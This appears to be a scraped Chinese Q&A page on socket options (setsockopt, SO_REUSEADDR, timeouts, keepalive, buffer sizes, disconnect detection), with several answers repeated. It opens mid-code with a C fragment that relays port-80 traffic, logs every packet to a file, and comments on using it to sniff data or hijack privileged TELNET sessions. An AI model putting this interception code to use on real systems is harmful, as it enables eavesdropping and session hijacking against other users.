if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) { printf("error!socket failed! "); return -1; } val = 100; if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) { ret = GetLastError(); return -1; } if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) { ret = GetLastError(); return -1; } if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) { printf("error!socket connect failed! "); closesocket(sc); closesocket(ss); return -1; } // 写入文件: ofstream oFile("port80log.txt"); if(!oFile) { printf("cannot write to the file. "); closesocket(ss); closesocket(sc); return 0 ; } while(1) { //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 //如果是嗅探内容的话,可以再此处进行内容分析和记录 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 num = recv(ss,buf,4096,0); if(num>0) { oFile<<" == DATA ========================================= "; oFile<<buf; send(sc,buf,num,0); } else if(num==0) break; num = recv(sc,buf,4096,0); if(num>0) { oFile<<" == DATA ========================================= "; oFile<<buf; send(ss,buf,num,0); } else if(num==0) break; } oFile.close(); closesocket(ss); closesocket(sc); return 0 ;}2023-07-24 12:01:348
如何解决python socket server重启后端口被占用的问题
本文介绍下,在solaris 系统下,python socket server重启后,提示端口被占用,telnet端口失败。这里给出一个解决方法,有需要的朋友参考下。在solaris 系统下,socket server被重启后,提示端口被占用,telnet端口又是不成功的,说明服务已被关闭。通过netstat可以看到端口还处于于fin_wait_2状态,solaris要4分钟才能关闭。遇到这个问题时,可以采用如下的方法解决,以减少等待时间。1,加上s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)。代码:复制代码代码示例:self.host=socket.gethostbyname(socket.gethostname())s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)s.bind((self.host,self.port))s.listen(5)2,修改系统fin_wait,time_wait的时间设置。这个时间改短,也利于系统系能。修改方法查看或设置: 使用get命令来确定当前时间间隔,并使用set命令将时间间隔指定为30秒。 例如: 复制代码代码示例:ndd -get /dev/tcp tcp_time_wait_interval ndd -set /dev/tcp tcp_time_wait_interval 30000 缺省值:对于 Solaris 操作系统,缺省等待时间间隔为 240000 毫秒(即 4 分钟)。 建议值:60000 毫秒。Solaris TCP_FIN_WAIT_2_FLUSH_INTERVAL 描述: 指定禁止处于FIN_WAIT_2状态的连接保持该状态的计时器时间间隔。当连接比率较高时,这将累积大量的TCP/IP连接,从而导致服务器性能下降。在高峰时间段,服务器会发 生延迟。如果服务器延迟,netstat命令显示对HTTP Server打开的许多套接字处于CLOSE_WAIT或FIN_WAIT_2状态。明显的延迟可能会长达4分钟,其间服务器无法发送任何响应,但是CPU利用率保持很高,所有活动都在系统进程中。查看和设置: 使用get命令来确定当前时间间隔,并使用set命令将时间间隔指定为67.5秒。 例如: 复制代码代码示例:ndd -get /dev/tcp tcp_fin_wait_2_flush_interval ndd -set /dev/tcp tcp_fin_wait_2_flush_interval 67500缺省值:675000 毫秒 建议值:67500 毫秒Solaris TCP_KEEPALIVE_INTERVAL 描述: “保持活动”包确保连接保持活动和已建立状态。查看或设置: 使用ndd命令来确定当前值或设置该值。 例如: 复制代码代码示例:ndd -set /dev/tcp tcp_keepalive_interval 300000缺省值:7200000 毫秒 建议值:15000 毫秒2023-07-24 12:02:181
socket error 10013 (试图使用被禁止的访问权限去访问套接字),下面是代码,大家帮分析一下吧,谢了
setsockopt使用此函数 让端口复用 这样就可以防止端口冲突 因为80端口很多程序需要使用2023-07-24 12:02:252
linux socket 能bind两次吗?我已经close了,但不能绑定第二次
必须不能,若要第二次绑定,必须将第一次的close,而系统释放这个socket资源是需要一段时间的所以bind之前执行int tmp = 1;setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &tmp, sizeof(int));目的是设置套接字属性为,当tmp非0的时候重用bind中的地址2023-07-24 12:02:353
docker影响socket性能
影响Socket缓存的参数:首先,我们要先来列出Linux中可以影响Socket缓存的调整参数。在proc目录下,它们的路径和对应说明为:/proc/sys/net/core/rmem_default/proc/sys/net/core/rmem_max/proc/sys/net/core/wmem_default/proc/sys/net/core/wmem_max这些文件用来设置所有socket的发送和接收缓存大小,所以既影响TCP,也影响UDP。针对UDP:这些参数实际的作用跟SO_RCVBUF和SO_SNDBUF的socketoption相关。如果我们不用setsockopt去更改创建出来的socketbuffer长度的话,那么就使用rmem_default和wmem_default来作为默认的接收和发送的socketbuffer长度。如果修改这些socketoption的话,那么他们可以修改的上限是由rmem_max和wmem_max来限定的。针对TCP:除了以上四个文件的影响外,还包括如下文件:/proc/sys/net/ipv4/tcp_rmem/proc/sys/net/ipv4/tcp_wmem对于TCP来说,上面core目录下的四个文件的作用效果一样,只是默认值不再是rmem_default和wmem_default,而是由tcp_rmem和tcp_wmem文件中所显示的第二个值决定。通过setsockopt可以调整的最大值依然由rmem_max和wmem_max限制。查看tcp_rmem和tcp_wmem的文件内容会发现,文件中包含三个值:/*[root@localhostnetwork_turning]#cat/proc/sys/net/ipv4/tcp_rmem40961310726291456[root@localhostnetwork_turning]#cat/proc/sys/net/ipv4/tcp_wmem4096163844194304*/三个值依次表示:mindefaultmaxmin:决定tcpsocketbuffer最小长度。default:决定其默认长度。max:决定其最大长度。在一个tcp链接中,对应的buffer长度将在min和max之间变化。导致变化的主要因素是当前内存压力。如果使用setsockopt设置了对应buffer长度的话,这个值将被忽略。相当于关闭了tcpbuffer的动态调整。2023-07-24 12:02:421
linux socket 设置从哪个网络设备发送数据 SO
m_SockFd = socket(AF_INET, SOCK_STREAM, 0); if (m_SockFd==-1) { LOG4CPLUS_ERROR(logger, "opening stream socket ," <<__FILE__ <<" , "<<__LINE__ ); return 1; } // 绑定网络路由,eth0 or wlan0 struct ifreq struIR; char sDev[16]={0}; if(GlobalConfig::IsHasGateWay("eth0") == true){ strcpy(sDev,"eth0"); LOG4CPLUS_WARN(logger, "tcpclient SO_BINDTODEVICE 1sDev = " << sDev); } else if(GlobalConfig::IsHasGateWay("wlan0") == true){ strcpy(sDev,"wlan0"); LOG4CPLUS_WARN(logger, "tcpclient SO_BINDTODEVICE 2sDev = " << sDev); } LOG4CPLUS_WARN(logger, "tcpclient SO_BINDTODEVICE sDev = " << sDev); if(strstr(sDev,"eth0") || strstr(sDev,"wlan0")){ strncpy(struIR.ifr_name, sDev, IFNAMSIZ); if (setsockopt(m_SockFd, SOL_SOCKET, SO_BINDTODEVICE, (char *)&struIR, sizeof(struIR)) < 0){ perror("setsockopt SO_BINDTODEVICE error "); LOG4CPLUS_WARN(logger, "tcpclient SO_BINDTODEVICE error "); }2023-07-24 12:02:501
如何使用 Visual Basic 中的 getsockopt 和 setsockopt
一、 int PASCAL FAR setsockopt( SOCKET s, int level, int optname, const char FAR* optval, int optlen); 设置套接口的选项。 s:标识一个套接口的描述字。 level:选项定义的层次;目前仅支持SOL_SOCKET和IPPROTO_TCP层次。 optname:需设置的选项。 optval:指针,指向存放选项值的缓冲区。 optlen:optval缓冲区的长度。 setsockopt()的使用是十分复杂的,其功能是很丰富的。setsockopt()函数用于任意类型、任意状态套接口的设置选项值。有两种套接口的选项:一种是布尔型选项,允许或禁止一种特性; 另一种是整形或结构选项。允许一个布尔型选项,则将optval指向非零整形数; 禁止一个选项optval指向一个等于零的整形数。 对于布尔型选项,optlen应等于sizeof(int) ; 对其他选项,optval指向包含所需选项的整形数或结构,而optlen则为整形数或结构的长度。 返回值: 若无错误发生,setsockopt()返回0。否则的话,返回SOCKET_ERROR错误,应用程序可通过WSAGetLastError()获取相应错误代码。 错误代码: WSANOTINITIALISED:在使用此API之前应首先成功地调用WSAStartup()。 WSAENETDOWN:WINDOWS套接口实现检测到网络子系统失效。 WSAEFAULT:optval不是进程地址空间中的一个有效部分。 WSAEINPROGRESS:一个阻塞的WINDOWS套接口调用正在运行中。 WSAEINVAL:level值非法,或optval中的信息非法。 WSAENETRESET:当SO_KEEPALIVE设置后连接超时。 WSAENOPROTOOPT:未知或不支持选项。其中,SOCK_STREAM类型的套接口不支持SO_BROADCAST选项,SOCK_DGRAM类型的套接口不支持SO_DONTLINGER 、SO_KEEPALIVE、SO_LINGER和SO_OOBINLINE选项。 WSAENOTCONN:当设置SO_KEEPALIVE后连接被复位。 WSAENOTSOCK:描述字不是一个套接口。 具体使用如下: 1.closesocket(一般不会立即关闭而经历TIME_WAIT的过程)后想继续重用该socket: BOOL bReuseaddr=TRUE; setsockopt(s,SOL_SOCKET ,SO_REUSEADDR,(const char*)&bReuseaddr,sizeof(BOOL)); 2. 如果要已经处于连接状态的soket在调用closesocket后强制关闭,不经历 TIME_WAIT的过程: BOOL bDontLinger = FALSE; setsockopt(s,SOL_SOCKET,SO_DONTLINGER,(const char*)&bDontLinger,sizeof(BOOL)); 3.在send(),recv()过程中有时由于网络状况等原因,发收不能预期进行,而设置收发时限: int nNetTimeout=1000;//1秒 //发送时限 setsockopt(socket,SOL_S0CKET,SO_SNDTIMEO,(char *)&nNetTimeout,sizeof(int)); //接收时限 setsockopt(socket,SOL_S0CKET,SO_RCVTIMEO,(char *)&nNetTimeout,sizeof(int)); 4.在send()的时候,返回的是实际发送出去的字节(同步)或发送到socket缓冲区的字节 (异步);系统默认的状态发送和接收一次为8688字节(约为8.5K); 在实际的过程中发送数据和接收数据量比较大,可以设置socket缓冲区,而避免了send(),recv()不断的循环收发: // 接收缓冲区 int nRecvBuf=32*1024; //设置为32K setsockopt(s,SOL_SOCKET,SO_RCVBUF,(const char*)&nRecvBuf,sizeof(int)); //发送缓冲区 int nSendBuf=32*1024;//设置为32K setsockopt(s,SOL_SOCKET,SO_SNDBUF,(const char*)&nSendBuf,sizeof(int)); 5. 如果在发送数据的时,希望不经历由系统缓冲区到socket缓冲区的拷贝而影响程序的性能: int nZero=0; setsockopt(socket,SOL_S0CKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); 6.同上在recv()完成上述功能(默认情况是将socket缓冲区的内容拷贝到系统缓冲区): int nZero=0; setsockopt(socket,SOL_S0CKET,SO_RCVBUF,(char *)&nZero,sizeof(int)); 7.一般在发送UDP数据报的时候,希望该socket发送的数据具有广播特性: BOOL bBroadcast=TRUE; setsockopt(s,SOL_SOCKET,SO_BROADCAST,(const char*)&bBroadcast,sizeof(BOOL)); 8.在client连接服务器过程中,如果处于非阻塞模式下的socket在connect()的过程中可以设置connect()延时,直到accpet()被呼叫(本函数设置只有在非阻塞的过程中有显著的作用,在阻塞的函数调用中作用不大) BOOL bConditionalAccept=TRUE; setsockopt(s,SOL_SOCKET,SO_CONDITIONAL_ACCEPT,(const char*)&bConditionalAccept,sizeof(BOOL)); 9.如果在发送数据的过程中(send()没有完成,还有数据没发送)而调用了closesocket(),以前我们一般采取的措施是"从容关闭"shutdown(s,SD_BOTH),但是数据是肯定丢失了,如何设置让程序满足具体应用的要求(即让没发完的数据发送出去后在关闭socket)? struct linger { u_short l_onoff; u_short l_linger; }; linger m_sLinger; m_sLinger.l_onoff=1;//(在closesocket()调用,但是还有数据没发送完毕的时候容许逗留) 如果m_sLinger.l_onoff=0;则功能和2.)作用相同; m_sLinger.l_linger=5; //(容许逗留的时间为5秒) setsockopt(s,SOL_SOCKET,SO_LINGER,(const char*)&m_sLinger,sizeof(linger)); 二、 int PASCAL FAR getsockopt( SOCKET s, int level, int optname, char FAR* optval, int FAR* optlen); s:一个标识套接口的描述字。 level:选项定义的层次。支持的层次仅有SOL_SOCKET和IPPROTO_TCP。 optname:需获取的套接口选项。 optval:指针,指向存放所获得选项值的缓冲区。 optlen:指针,指向optval缓冲区的长度值。 返回值: 若无错误发生,getsockopt()返回0。否则的话,返回SOCKET_ERROR错误,应用程序可通过WSAGetLastError()获取相应错误代码。 错误代码: WSANOTINITIALISED:在使用此API之前应首先成功地调用WSAStartup()。 WSAENETDOWN:WINDOWS套接口实现检测到网络子系统失效。 WSAEFAULT:optlen参数非法。 WSAEINPROGRESS:一个阻塞的WINDOWS套接口调用正在运行中。 WSAENOPROTOOPT:未知或不支持选项。其中,SOCK_STREAM类型的套接口不支持SO_BROADCAST选项,SOCK_DGRAM类型的套接口不支持SO_ACCEPTCONN、SO_DONTLINGER 、SO_KEEPALIVE、SO_LINGER和SO_OOBINLINE选项。 WSAENOTSOCK:描述字不是一个套接口。 例如:获取recv的缓冲区大小 int optval = 0; int optlen = sizeof(optval); getsockopt(socket, SOL_SOCKET, SO_RCVBUF, (char*)&optval, &optlen); temp.Format("SOCKET接收的缓冲区大小:optval:%d, optlen:%d", optval, optlen); AfxMessageBox(temp);2023-07-24 12:03:091
求助setsockopt如何设置接收超时.最后那个timeval如何设置
1.首先将标志位设为Non-blocking模式,准备在非阻塞模式下调用connect函数2.调用connect,正常情况下,因为TCP三次握手需要一些时间;而非阻塞调用只要不能立即完成就会返回错误,所以这里会返回EINPROGRESS,表示在建立连接但还没有完成。3.在读套接口描述符集(fd_set rset)和写套接口描述符集(fd_set wset)中将当前套接口置位(用FD_ZERO()、FD_SET()宏),并设置好超时时间(struct timeval *timeout)4.调用select( socket, &rset, &wset, NULL, timeout )返回0表示connect超时如果你设置的超时时间大于75秒就没有必要这样做了,因为内核中对connect有超时限制就是75秒。2023-07-24 12:03:171
如何让socket收不到信息就断开连接
法一:当recv()返回值小于等于0时,socket连接断开。但是还需要判断 errno是否等于 EINTR,如果errno == EINTR 则说明recv函数是由于程序接收到信号后返回的,socket连接还是正常的,不应close掉socket连接。法二:struct tcp_info info;int len=sizeof(info);getsockopt(sock, IPPROTO_TCP, TCP_INFO, &info, (socklen_t *)&len);if((info.tcpi_state==TCP_ESTABLISHED)) 则说明未断开 else 断开法三:若使用了select等系统函数,若远端断开,则select返回1,recv返回0则断开。其他注意事项同法一。法四:int keepAlive = 1; // 开启keepalive属性int keepIdle = 60; // 如该连接在60秒内没有任何数据往来,则进行探测 int keepInterval = 5; // 探测时发包的时间间隔为5 秒int keepCount = 3; // 探测尝试的次数.如果第1次探测包就收到响应了,则后2次的不再发.setsockopt(rs, SOL_SOCKET, SO_KEEPALIVE, (void *)&keepAlive, sizeof(keepAlive));setsockopt(rs, SOL_TCP, TCP_KEEPIDLE, (void*)&keepIdle, sizeof(keepIdle));setsockopt(rs, SOL_TCP, TCP_KEEPINTVL, (void *)&keepInterval, sizeof(keepInterval));setsockopt(rs, SOL_TCP, TCP_KEEPCNT, (void *)&keepCount, sizeof(keepCount));设置后,若断开,则在使用该socket读写时立即失败,并返回ETIMEDOUT错误法五:自己实现一个心跳检测,一定时间内未收到自定义的心跳包则标记为已断开。2023-07-24 12:03:231
怎样实时判断socket链接状态
法一:当recv()返回值小于等于0时,socket连接断开。但是还需要判断 errno是否等于 EINTR,如果errno == EINTR 则说明recv函数是由于程序接收到信号后返回的,socket连接还是正常的,不应close掉socket连接。法二:struct tcp_info info;int len=sizeof(info);getsockopt(sock, IPPROTO_TCP, TCP_INFO, &info, (socklen_t *)&len);if((info.tcpi_state==TCP_ESTABLISHED)) 则说明未断开 else 断开法三:若使用了select等系统函数,若远端断开,则select返回1,recv返回0则断开。其他注意事项同法一。法四:int keepAlive = 1; // 开启keepalive属性int keepIdle = 60; // 如该连接在60秒内没有任何数据往来,则进行探测int keepInterval = 5; // 探测时发包的时间间隔为5 秒int keepCount = 3; // 探测尝试的次数.如果第1次探测包就收到响应了,则后2次的不再发.setsockopt(rs, SOL_SOCKET, SO_KEEPALIVE, (void *)&keepAlive, sizeof(keepAlive));setsockopt(rs, SOL_TCP, TCP_KEEPIDLE, (void*)&keepIdle, sizeof(keepIdle));setsockopt(rs, SOL_TCP, TCP_KEEPINTVL, (void *)&keepInterval, sizeof(keepInterval));setsockopt(rs, SOL_TCP, TCP_KEEPCNT, (void *)&keepCount, sizeof(keepCount));设置后,若断开,则在使用该socket读写时立即失败,并返回ETIMEDOUT错误2023-07-24 12:03:321
客户端怎么判断Socket连接已与服务器断开
法一:当recv()返回值小于等于0时,socket连接断开。但是还需要判断 errno是否等于 EINTR,如果errno == EINTR 则说明recv函数是由于程序接收到信号后返回的,socket连接还是正常的,不应close掉socket连接。法二: struct tcp_info info; int len=sizeof(info); getsockopt(sock, IPPROTO_TCP, TCP_INFO, &info, (socklen_t *)&len); if((info.tcpi_state==TCP_ESTABLISHED)) 则说明未断开 else 断开法三:若使用了select等系统函数,若远端断开,则select返回1,recv返回0则断开。其他注意事项同法一。法四:int keepAlive = 1; // 开启keepalive属性int keepIdle = 60; // 如该连接在60秒内没有任何数据往来,则进行探测 int keepInterval = 5; // 探测时发包的时间间隔为5 秒int keepCount = 3; // 探测尝试的次数.如果第1次探测包就收到响应了,则后2次的不再发.setsockopt(rs, SOL_SOCKET, SO_KEEPALIVE, (void *)&keepAlive, sizeof(keepAlive));setsockopt(rs, SOL_TCP, TCP_KEEPIDLE, (void*)&keepIdle, sizeof(keepIdle));setsockopt(rs, SOL_TCP, TCP_KEEPINTVL, (void *)&keepInterval, sizeof(keepInterval));setsockopt(rs, SOL_TCP, TCP_KEEPCNT, (void *)&keepCount, sizeof(keepCount));设置后,若断开,则在使用该socket读写时立即失败,并返回ETIMEDOUT错误法五:自己实现一个心跳检测,一定时间内未收到自定义的心跳包则标记为已断开。2023-07-24 12:03:391
如何检测socket连接断开
下面来罗列一下判断远端已经断开的方法:法一:当recv()返回值小于等于0时,socket连接断开。但是还需要判断 errno是否等于 EINTR,如果errno == EINTR 则说明recv函数是由于程序接收到信号后返回的,socket连接还是正常的,不应close掉socket连接。法二:struct tcp_info info;int len=sizeof(info);getsockopt(sock, IPPROTO_TCP, TCP_INFO, &info, (socklen_t *)&len);if((info.tcpi_state==TCP_ESTABLISHED)) 则说明未断开 else 断开法三:若使用了select等系统函数,若远端断开,则select返回1,recv返回0则断开。其他注意事项同法一。法四:int keepAlive = 1; // 开启keepalive属性int keepIdle = 60; // 如该连接在60秒内没有任何数据往来,则进行探测 int keepInterval = 5; // 探测时发包的时间间隔为5 秒int keepCount = 3; // 探测尝试的次数.如果第1次探测包就收到响应了,则后2次的不再发.setsockopt(rs, SOL_SOCKET, SO_KEEPALIVE, (void *)&keepAlive, sizeof(keepAlive));setsockopt(rs, SOL_TCP, TCP_KEEPIDLE, (void*)&keepIdle, sizeof(keepIdle));setsockopt(rs, SOL_TCP, TCP_KEEPINTVL, (void *)&keepInterval, sizeof(keepInterval));setsockopt(rs, SOL_TCP, TCP_KEEPCNT, (void *)&keepCount, sizeof(keepCount));设置后,若断开,则在使用该socket读写时立即失败,并返回ETIMEDOUT错误法五:自己实现一个心跳检测,一定时间内未收到自定义的心跳包则标记为已断开。2023-07-24 12:03:461
windows下怎么将recv设置成非阻塞setsockopt
IP_HDRINCL选项需要administrator权限,或者修改注册表:HKEY_LOCAL_MACHINESystemCurrentControlSetServicesAfdParameterDisableRawSecurity(类型为DWORD),把值修改为 1。如果没有,就添加DisableRawSecurity并将其值设置为1.2023-07-24 12:03:531
linux下怎么设置tcp
Socket的send函数在执行时报EAGAIN的错误 当客户通过Socket提供的send函数发送大的数据包时,就可能返回一个EGGAIN的错误。该错误产生的原因是由于send 函数中的size变量大小超过了tcp_sendspace的值。tcp_sendspace定义了应用在调用send之前能够在kernel中缓存的数据量。当应用程序在socket中设置了O_NDELAY或者O_NONBLOCK属性后,如果发送缓存被占满,send就会返回EAGAIN的错误。 为了消除该错误,有三种方法可以选择: 1.调大tcp_sendspace,使之大于send中的size参数 ---no -p -o tcp_sendspace=65536 2.在调用send前,在setsockopt函数中为SNDBUF设置更大的值 3.使用write替代send,因为write没有设置O_NDELAY或者O_NONBLOCK 1. tcp 收发缓冲区默认值 [root@qljt core]# cat /proc/sys/net/ipv4/tcp_rmem 4096 87380 4161536 87380 :tcp接收缓冲区的默认值 [root@qljt core]# cat /proc/sys/net/ipv4/tcp_wmem 4096 16384 4161536 16384 : tcp 发送缓冲区的默认值 2. tcp 或udp收发缓冲区最大值 [root@qljt core]# cat /proc/sys/net/core/rmem_max 131071 131071:tcp 或 udp 接收缓冲区最大可设置值的一半。 也就是说调用 setsockopt(s, SOL_SOCKET, SO_RCVBUF, &rcv_size, &optlen); 时rcv_size 如果超过 131071,那么 getsockopt(s, SOL_SOCKET, SO_RCVBUF, &rcv_size, &optlen); 去到的值就等于 131071 * 2 = 262142 [root@qljt core]# cat /proc/sys/net/core/wmem_max 131071 131071:tcp 或 udp 发送缓冲区最大可设置值得一半。 跟上面同一个道理 3. udp收发缓冲区默认值 [root@qljt core]# cat /proc/sys/net/core/rmem_default 111616:udp接收缓冲区的默认值 [root@qljt core]# cat /proc/sys/net/core/wmem_default 111616 111616:udp发送缓冲区的默认值 . tcp 或udp收发缓冲区最小值 tcp 或udp接收缓冲区的最小值为 256 bytes,由内核的宏决定; tcp 或udp发送缓冲区的最小值为 2048 bytes,由内核的宏决定 setsockopt设置socket状态 1.closesocket(一般不会立即关闭而经历TIME_WAIT的过程)后想继续重用该socket: BOOL bReuseaddr=TRUE; setsockopt(s,SOL_SOCKET ,SO_REUSEADDR,(const char*)&bReuseaddr,sizeof(BOOL)); 2. 如果要已经处于连接状态的soket在调用closesocket后强制关闭,不经历TIME_WAIT的过程: BOOL bDontLinger = FALSE; setsockopt(s,SOL_SOCKET,SO_DONTLINGER,(const char*)&bDontLinger,sizeof(BOOL)); 3.在send(),recv()过程中有时由于网络状况等原因,发收不能预期进行,而设置收发时限: int nNetTimeout=1000;//1秒 //发送时限 setsockopt(socket,SOL_S0CKET,SO_SNDTIMEO,(char *)&nNetTimeout,sizeof(int)); //接收时限 setsockopt(socket,SOL_S0CKET,SO_RCVTIMEO,(char *)&nNetTimeout,sizeof(int)); 4.在send()的时候,返回的是实际发送出去的字节(同步)或发送到socket缓冲区的字节(异步);系统默认的状态发送和接收一次为8688字节(约为8.5K);在实际的过程中发送数据 和接收数据量比较大,可以设置socket缓冲区,而避免了send(),recv()不断的循环收发: // 接收缓冲区 int nRecvBuf=32*1024;//设置为32K setsockopt(s,SOL_SOCKET,SO_RCVBUF,(const char*)&nRecvBuf,sizeof(int)); //发送缓冲区 int nSendBuf=32*1024;//设置为32K setsockopt(s,SOL_SOCKET,SO_SNDBUF,(const char*)&nSendBuf,sizeof(int)); 5. 如果在发送数据的时,希望不经历由系统缓冲区到socket缓冲区的拷贝而影响程序的性能: int nZero=0; setsockopt(socket,SOL_S0CKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); 6.同上在recv()完成上述功能(默认情况是将socket缓冲区的内容拷贝到系统缓冲区): int nZero=0; setsockopt(socket,SOL_S0CKET,SO_RCVBUF,(char *)&nZero,sizeof(int)); 7.一般在发送UDP数据报的时候,希望该socket发送的数据具有广播特性: BOOL bBroadcast=TRUE; setsockopt(s,SOL_SOCKET,SO_BROADCAST,(const char*)&bBroadcast,sizeof(BOOL)); 8.在client连接服务器过程中,如果处于非阻塞模式下的socket在connect()的过程中可以设置connect()延时,直到accpet()被呼叫(本函数设置只有在非阻塞的过程中有显著的 作用,在阻塞的函数调用中作用不大) BOOL bConditionalAccept=TRUE; setsockopt(s,SOL_SOCKET,SO_CONDITIONAL_ACCEPT,(const char*)&bConditionalAccept,sizeof(BOOL)); 9.如果在发送数据的过程中(send()没有完成,还有数据没发送)而调用了closesocket(),以前我们一般采取的措施是"从容关闭"shutdown(s,SD_BOTH),但是数据是肯定丢失了,如何设置让程序满足具体应用的要求(即让没发完的数据发送出去后在关闭socket)? struct linger { u_short l_onoff; u_short l_linger; }; linger m_sLinger; m_sLinger.l_onoff=1;//(在closesocket()调用,但是还有数据没发送完毕的时候容许逗留) // 如果m_sLinger.l_onoff=0;则功能和2.)作用相同; m_sLinger.l_linger=5;//(容许逗留的时间为5秒) setsockopt(s,SOL_SOCKET,SO_LINGER,(const char*)&m_sLinger,sizeof(linger)); 设置套接口的选项。 #include <winsock.h> int PASCAL FAR setsockopt( SOCKET s, int level, int optname, const char FAR* optval, int optlen); s:标识一个套接口的描述字。 level:选项定义的层次;目前仅支持SOL_SOCKET和IPPROTO_TCP层次。 optname:需设置的选项。 optval:指针,指向存放选项值的缓冲区。 optlen:optval缓冲区的长度。 注释: setsockopt()函数用于任意类型、任意状态套接口的设置选项值。尽管在不同协议层上存在选项,但本函数仅定义了最高的“套接口”层次上的选项。选项影响套接口的操作,诸如加急数据是否在普通数据流中接收,广播数据是否可以从套接口发送等等。 有两种套接口的选项:一种是布尔型选项,允许或禁止一种特性;另一种是整形或结构选项。允许一个布尔型选项,则将optval指向非零整形数;禁止一个选项optval指向一个等于零的整形数。对于布尔型选项,optlen应等于sizeof(int);对其他选项,optval指向包含所需选项的整形数或结构,而optlen则为整形数或结构的长度。SO_LINGER选项用于控制下述情况的行动:套接口上有排队的待发送数据,且 closesocket()调用已执行。参见closesocket()函数中关于SO_LINGER选项对closesocket()语义的影响。应用程序通过创建一个linger结构来设置相应的操作特性: struct linger { int l_onoff; int l_linger; }; 为了允许SO_LINGER,应用程序应将l_onoff设为非零,将l_linger设为零或需要的超时值(以秒为单位),然后调用setsockopt()。为了允许SO_DONTLINGER(亦即禁止SO_LINGER),l_onoff应设为零,然后调用setsockopt()。 缺省条件下,一个套接口不能与一个已在使用中的本地地址捆绑(参见bind())。但有时会需要“重用”地址。因为每一个连接都由本地地址和远端地址的组合唯一确定,所以只要远端地址不同,两个套接口与一个地址捆绑并无大碍。为了通知WINDOWS套接口实现不要因为一个地址已被一个套接口使用就不让它与另一个套接口捆绑,应用程序可在bind()调用前先设置SO_REUSEADDR选项。请注意仅在bind()调用时该选项才被解释;故此无需(但也无害)将一个不会共用地址的套接口设置该选项,或者在bind()对这个或其他套接口无影响情况下设置或清除这一选项。 一个应用程序可以通过打开SO_KEEPALIVE选项,使得WINDOWS套接口实现在TCP连接情况下允许使用“保持活动”包。一个WINDOWS套接口实现并不是必需支持“保持活动”,但是如果支持的话,具体的语义将与实现有关,应遵守RFC1122“Internet主机要求-通讯层”中第 4.2.3.6节的规范。如果有关连接由于“保持活动”而失效,则进行中的任何对该套接口的调用都将以WSAENETRESET错误返回,后续的任何调用将以WSAENOTCONN错误返回。 TCP_NODELAY选项禁止Nagle算法。Nagle算法通过将未确认的数据存入缓冲区直到蓄足一个包一起发送的方法,来减少主机发送的零碎小数据包的数目。但对于某些应用来说,这种算法将降低系统性能。所以TCP_NODELAY可用来将此算法关闭。应用程序编写者只有在确切了解它的效果并确实需要的情况下,才设置TCP_NODELAY选项,因为设置后对网络性能有明显的负面影响。TCP_NODELAY是唯一使用IPPROTO_TCP层的选项,其他所有选项都使用SOL_SOCKET层。 如果设置了SO_DEBUG选项,WINDOWS套接口供应商被鼓励(但不是必需)提供输出相应的调试信息。但产生调试信息的机制以及调试信息的形式已超出本规范的讨论范围。 setsockopt()支持下列选项。其中“类型”表明optval所指数据的类型。 选项 类型 意义 SO_BROADCAST BOOL 允许套接口传送广播信息。 SO_DEBUG BOOL 记录调试信息。 SO_DONTLINER BOOL 不要因为数据未发送就阻塞关闭操作。设置本选项相当于将SO_LINGER的l_onoff元素置为零。 SO_DONTROUTE BOOL 禁止选径;直接传送。 SO_KEEPALIVE BOOL 发送“保持活动”包。 SO_LINGER struct linger FAR* 如关闭时有未发送数据,则逗留。 SO_OOBINLINE BOOL 在常规数据流中接收带外数据。 SO_RCVBUF int 为接收确定缓冲区大小。 SO_REUSEADDR BOOL 允许套接口和一个已在使用中的地址捆绑(参见bind())。 SO_SNDBUF int 指定发送缓冲区大小。 TCP_NODELAY BOOL 禁止发送合并的Nagle算法。 setsockopt()不支持的BSD选项有: 选项名 类型 意义 SO_ACCEPTCONN BOOL 套接口在监听。 SO_ERROR int 获取错误状态并清除。 SO_RCVLOWAT int 接收低级水印。 SO_RCVTIMEO int 接收超时。 SO_SNDLOWAT int 发送低级水印。 SO_SNDTIMEO int 发送超时。 SO_TYPE int 套接口类型。 IP_OPTIONS 在IP头中设置选项。 返回值: 若无错误发生,setsockopt()返回0。否则的话,返回SOCKET_ERROR错误,应用程序可通过WSAGetLastError()获取相应错误代码。 错误代码: WSANOTINITIALISED:在使用此API之前应首先成功地调用WSAStartup()。 WSAENETDOWN:WINDOWS套接口实现检测到网络子系统失效。 WSAEFAULT:optval不是进程地址空间中的一个有效部分。 WSAEINPROGRESS:一个阻塞的WINDOWS套接口调用正在运行中。 WSAEINVAL:level值非法,或optval中的信息非法。 WSAENETRESET:当SO_KEEPALIVE设置后连接超时。 WSAENOPROTOOPT:未知或不支持选项。其中,SOCK_STREAM类型的套接口不支持SO_BROADCAST选项,SOCK_DGRAM 类型的套接口不支持SO_DONTLINGER 、SO_KEEPALIVE、SO_LINGER和SO_OOBINLINE选项。 WSAENOTCONN:当设置SO_KEEPALIVE后连接被复位。 WSAENOTSOCK:描述字不是一个套接口。2023-07-24 12:04:031
websocket 怎么判断断开
